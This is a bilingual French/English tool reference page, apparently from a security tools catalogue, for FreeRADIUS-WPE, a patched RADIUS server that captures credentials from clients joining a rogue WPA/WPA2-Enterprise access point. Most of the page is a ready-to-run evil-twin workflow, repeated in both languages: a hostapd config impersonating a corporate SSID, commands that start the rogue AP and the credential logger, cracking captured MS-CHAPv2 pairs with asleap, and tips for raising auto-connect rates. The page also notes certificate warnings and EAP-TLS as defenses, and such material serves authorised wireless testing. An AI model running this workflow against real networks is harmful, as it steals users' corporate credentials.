← retour aux outils back to tools

# FreeRADIUS-WPE

Serveur FreeRADIUS patché (Wireless Pwnage Edition) qui journalise les identifiants en clair et les paires challenge/response provenant de clients s'authentifiant contre un faux AP WPA/WPA2-Enterprise. Patched FreeRADIUS server (Wireless Pwnage Edition) that logs cleartext credentials and challenge/response pairs from clients authenticating against a rogue WPA/WPA2-Enterprise AP.

↗ https://github.com/OpenSecurityResearch/freeradius-wpe

## Overview

FreeRADIUS-WPE is a set of patches applied to FreeRADIUS that make it log usernames, passwords, and MS-CHAPv2 challenge/response pairs for every EAP authentication attempt it handles — instead of just accepting or rejecting them. Paired with a rogue access point (via hostapd) impersonating a known WPA/WPA2-Enterprise SSID, it lets an attacker capture corporate credentials from clients that auto-connect and attempt EAP authentication.

## Common Usage

Build/install (typically already patched into freeradius source tree)

    ./configure && make && sudo make install

Run the patched radiusd in the foreground with debug output

    sudo radiusd -X

Logged creds land here by default

    tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

## Rogue AP Workflow

1. Configure hostapd to advertise the target SSID with WPA-EAP

    cat > hostapd.conf <<EOF
    interface=wlan0
    ssid=CorpWiFi
    channel=6
    wpa=2
    wpa_key_mgmt=WPA-EAP
    ieee8021x=1
    auth_server_addr=127.0.0.1
    auth_server_port=1812
    auth_server_shared_secret=testing123
    EOF

2. Start the rogue AP

    sudo hostapd hostapd.conf

3. Start FreeRADIUS-WPE to capture creds from connecting clients

    sudo radiusd -X

4. Crack captured MS-CHAPv2 challenge/response with asleap or hashcat

    asleap -C <challenge> -R <response>

## Tips

- Certificate warnings on the client (untrusted rogue RADIUS cert) are the main defense — this attack relies on users clicking through them
- EAP-GTC/EAP-MSCHAPv2 (PEAP) exposures are the most common outcome; EAP-TLS with proper cert pinning is not vulnerable
- Combine with `airbase-ng` or `eaphammer` for a more automated evil-twin setup
- Always match SSID and security settings exactly to the legitimate network to maximize auto-connect rate

Help / Man page

    radiusd [options]

      -X          Run in debug mode (foreground, full logging)
      -x          Debug mode (less verbose)
      -f          Run in foreground (no daemonize)
      -d <dir>    Set configuration directory
      -i <addr>   Listen on specific IP
      -p <port>   Listen on specific port (default 1812)

    WPE-specific logging:
      Log file: ${logdir}/freeradius-server-wpe.log
      Captures: username, MSCHAPv2 challenge, MSCHAPv2 response,
                EAP-MD5 challenge/response, PAP cleartext password

## Vue d’ensemble

FreeRADIUS-WPE est un ensemble de patches appliqués à FreeRADIUS qui le font journaliser les noms d’utilisateur, mots de passe et paires challenge/response MS-CHAPv2 pour chaque tentative d’authentification EAP qu’il traite, au lieu de simplement les accepter ou les rejeter. Associé à un rogue access point (via hostapd) usurpant un SSID WPA/WPA2-Enterprise connu, il permet à un attaquant de capturer des identifiants d’entreprise depuis les clients qui se connectent automatiquement et tentent une authentification EAP.

## Utilisation courante

    # Compiler/installer (généralement déjà patché dans l'arborescence source freeradius)
    ./configure && make && sudo make install

    # Lancer le radiusd patché au premier plan avec sortie de debug
    sudo radiusd -X

    # Les identifiants journalisés atterrissent ici par défaut
    tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

## Workflow avec rogue AP

1. Configurer hostapd pour annoncer le SSID cible avec WPA-EAP

    cat > hostapd.conf <<EOF
    interface=wlan0
    ssid=CorpWiFi
    channel=6
    wpa=2
    wpa_key_mgmt=WPA-EAP
    ieee8021x=1
    auth_server_addr=127.0.0.1
    auth_server_port=1812
    auth_server_shared_secret=testing123
    EOF

2. Démarrer le rogue AP

    sudo hostapd hostapd.conf

3. Démarrer FreeRADIUS-WPE pour capturer les identifiants des clients qui se connectent

    sudo radiusd -X

4. Casser le challenge/response MS-CHAPv2 capturé avec asleap ou hashcat

    asleap -C <challenge> -R <response>

## Conseils

- Les avertissements de certificat côté client (certificat RADIUS rogue non fiable) constituent la principale défense : cette attaque repose sur le fait que les utilisateurs cliquent malgré ces avertissements
- Les expositions EAP-GTC/EAP-MSCHAPv2 (PEAP) sont le résultat le plus courant ; EAP-TLS avec un pinning de certificat correct n’est pas vulnérable
- Combiner avec `airbase-ng` ou `eaphammer` pour une configuration evil-twin plus automatisée
- Toujours faire correspondre exactement le SSID et les paramètres de sécurité au réseau légitime pour maximiser le taux de connexion automatique

Aide / Page de manuel

    radiusd [options]

      -X          Run in debug mode (foreground, full logging)
      -x          Debug mode (less verbose)
      -f          Run in foreground (no daemonize)
      -d <dir>    Set configuration directory
      -i <addr>   Listen on specific IP
      -p <port>   Listen on specific port (default 1812)

    WPE-specific logging:
      Log file: ${logdir}/freeradius-server-wpe.log
      Captures: username, MSCHAPv2 challenge, MSCHAPv2 response,
                EAP-MD5 challenge/response, PAP cleartext password